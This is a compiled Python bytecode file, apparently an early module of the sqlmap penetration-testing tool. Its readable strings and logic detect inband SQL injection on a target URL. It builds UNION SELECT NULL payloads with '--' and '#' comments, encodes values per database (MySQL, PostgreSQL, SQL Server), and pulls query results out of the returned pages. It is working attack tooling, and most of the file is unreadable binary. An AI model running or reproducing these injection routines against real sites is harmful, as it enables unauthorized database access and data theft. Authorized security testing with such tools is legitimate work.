³ò
‰ŸFc           @   sd   d  d k  Z  d  d k Z d  d k Z d  d k l Z d e f d „  ƒ  YZ d e f d „  ƒ  YZ d S(   iÿÿÿÿN(   t   Commont
   UnionCheckc           B   s)   e  Z d  Z d „  Z d „  Z d „  Z RS(   s–   
    This class defines methods to check if the target url is affected
    by an inband SQL injection vulnerability

    @author: Bernardo Damele
    c         C   s   | |  _  t i d ƒ |  _ d  S(   Nt	   sqlmapLog(   t   argst   loggingt	   getLoggert   logger(   t   selfR   (    (    s3   /usr/local/www/apache22/data/stuff/sql/lib/union.pyt   __init__   s    	c         C   s¶  h  } x©t  d ƒ D]›} | o | d 7} n |  i i d j o | } | o | | 7} qÔ nu |  i i d j o' d | } | o | d | 7} qÔ n; |  i i d j o' | d } | o | d	 | 7} qÔ n |  i d
 | ƒ } |  i | ƒ } | | i ƒ  j o d | f | | <n | | d d | f | | <| o | i | d ƒ } n | oRxO| i ƒ  D]=} | d d j o&|  i i d j ob | }	 |  i i d j o, |	 i	 d ƒ d j o | i d d ƒ }	 n |	 i	 d ƒ |  i _
 |	 Sq¦|  i i d j oš | i d ƒ d }
 | i d ƒ d } d |
 }	 |  i i d j o, |	 i	 d ƒ d j o | i d d ƒ } n |	 d | 7}	 | i	 d ƒ |  i _
 |	 Sq¦qiqiWq q Wd S(   s»   
        This method checks if the target url is affected by an inband
        SQL injection vulnerability. The test is done up to 50 columns
        on the target database table
        i2   s   , NULLt   numerict   stringsingles   %s, '1s   '%s 't   stringdoubles   , "1s   "%s"t   newValuei   i    t    t   GETt   NULLi   s   SELECT NULL,t   SELECTt   POSTt   ?s	   url:	'%s's   
data:	'%s'
N(   t   rangeR   t   injectionMethodt
   urlReplacet	   queryPaget   keyst   replacet   valuest
   httpMethodt   countt
   unionCountt   splitt   None(   R   t   stmt   commentt
   resultDictR   t   checkStmt   baseUrlt	   newResultt   elementt   valuet   urlt   data(    (    s3   /usr/local/www/apache22/data/stuff/sql/lib/union.pyt   __effectiveUnionCheck   sX     

 )
)c         C   s†   d } | d |  i  i 7} |  i i | ƒ |  i d ƒ } xF d D]> } |  i | | ƒ } | o | o | |  i  _ n | Sq@ q@ Wd S(	   s–   
        This method checks if the target url is affected by an inband
        SQL injection vulnerability. The test is done up to 3*50 times
        s"   testing UNION SELECT statement on s   parameter '%s's    UNION SELECT NULLR   s   --t   #(   R   s   --R*   N(   R   t   injParameterR   t   infot   injectionStmt    _UnionCheck__effectiveUnionCheckt   unionCommentR   (   R   t   logMsgR   R    R&   (    (    s3   /usr/local/www/apache22/data/stuff/sql/lib/union.pyt
   unionCheckZ   s     (   t   __name__t
   __module__t   __doc__R   R.   R1   (    (    (    s3   /usr/local/www/apache22/data/stuff/sql/lib/union.pyR      s   		Bt   UnionUsec           B   s2   e  Z d  Z d „  Z d „  Z d „  Z d „  Z RS(   sÙ   
    This class defines methods to use the inband SQL injection
    vulnerability of an affected target to extract data from the
    database rather thand through blind SQL injection

    @author: Bernardo Damele
    c         C   s   | |  _  t i d ƒ |  _ d  S(   NR   (   R   R   R   R   (   R   R   (    (    s3   /usr/local/www/apache22/data/stuff/sql/lib/union.pyR   {   s    	c         C   s  d } d |  i  i j oC d } x" | D] } | d t | ƒ 7} q& W| d  } | d 7} n­ d |  i  i j oC d } x" | D] } | d	 t | ƒ 7} q| W| d
  } | d 7} nW d |  i  i j oC d } x" | D] } | d t | ƒ 7} qÒ W| d
  } | d 7} n | S(   sÂ   
        This method is used to encode the request with the specific
        remote database management system syntax to avoid issues due
        to conversion of query output data type
        R   t   MySQLs   CHAR(s   %d,iÿÿÿÿt   )t
   PostgreSQLt   (s	   CHR(%d)||iþÿÿÿs   Microsoft SQL Servers	   CHAR(%d)+(   R   t   fingerprintt   ord(   R   R&   t   dbEncodedValuet   char(    (    s3   /usr/local/www/apache22/data/stuff/sql/lib/union.pyt   __dbEncodeValue€   s.     
 
 
c         C   s4  |  i  d ƒ } x^ t |  i i ƒ D]J } | d j o | d 7} n | | j o | d | 7} q" | d 7} q" W|  i i d j o! |  i i o | |  i i 7} n |  i i d j o3 | d } |  i i o | d	 |  i i 7} q0nG |  i i d
 j o3 | d } |  i i o | d |  i i 7} q0n | S(   se   
        This method effectively perform an inband SQL injection on the
        affected url
        s    UNION SELECT i    s   , s   %sR   R	   R
   s   , '1s   '%s 'R   s   , "1s   "%s"(   R-   R   R   R   R   R/   (   R   t
   expressiont   exprPositionR   R%   (    (    s3   /usr/local/www/apache22/data/stuff/sql/lib/union.pyt   __effectiveUnionUse¥   s&      

c         C   s  d } t  i  ƒ  } |  i | ƒ } d } | d 7} | d 7} |  i i pu t |  i ƒ } | i ƒ  } | o2 | i d ƒ } | | } | i d ƒ |  i _ q½ |  i i	 | ƒ |  i
 | ƒ Sn |  i i p! |  i i	 | ƒ |  i
 | ƒ Sn x÷t |  i i ƒ D]ã}	 t t i d d ƒ ƒ }
 d	 t t i d d ƒ ƒ } x¦|
 | f D]˜} |  i | ƒ } t | ƒ t | ƒ j o+ | i t | ƒ ƒ } | i d
 d ƒ } nE t | ƒ t | ƒ j  o+ | i t | ƒ ƒ } | i d
 d ƒ } n |  i | |	 ƒ } |  i d | ƒ } |  i | ƒ } | d 7} | i d d ƒ } | | j oŸd | j o’| i | ƒ } | t | ƒ } | | | d !} |  i | |	 ƒ } |  i d | ƒ } |  i | ƒ } d | j o qEn y | | } | i | ƒ } Wn
 qEn X| d 7} t t  i  ƒ  | ƒ } d | } |  i i | ƒ d } | d 7} |  i i | ƒ d | | f } |  i i | ƒ t | |  ƒ } |  i i oR |  i i i d |  i i | | i d d ƒ i d d ƒ f ƒ |  i i i ƒ  n | SqEqEWqþ W|  i i	 | ƒ |  i
 | ƒ S(   s÷   
        This method checks for an inband SQL injection on the target
        url using the UnionCheck.unionCheck() method, then call its
        subsidiary method to effectively perform an inband SQL
        injection on the affected url
        i    s,   the target url is not affected by an inband s$   SQL injection vulnerability or your s   expression is wrongt   UNIONR   i'  iŸ† s   '%s't   0t    R   i   t   'R   t   Warningi
   s   request: %ss!   the target url is affected by an s"   inband SQL injection vulnerabilitys"   performed %d queries in %d secondss
   %s][%s][%ss   
t   __NEWLINE__s   	t   __TAB__(   t   timet   unescapeR   R   R   R1   t   indexR   R   t   warnt   getValueR   t   strt   randomt   randintt   _UnionUse__dbEncodeValuet   lent   zfillR   t   _UnionUse__effectiveUnionUseR   t   getPaget   intR,   t	   writeFilet   writeR'   t   flush(   R   R?   R   t   startt   warnMsgt   unionObjectt
   checkUnionRK   t   splittedUrlR@   t   randIntegert
   randStringt	   randValueR<   R   R#   t
   resultPaget   randValueReplacedt   startPositiont   endPositiont   endCharacterst	   startPaget   durationR0   R&   (    (    s3   /usr/local/www/apache22/data/stuff/sql/lib/union.pyt   unionUseÄ   s„    


  




>(   R2   R3   R4   R   RQ   RT   Ri   (    (    (    s3   /usr/local/www/apache22/data/stuff/sql/lib/union.pyR5   r   s
   		%	(   R   RO   RI   t
   lib.commonR    R   R5   (    (    (    s3   /usr/local/www/apache22/data/stuff/sql/lib/union.pys   <module>   s
   g
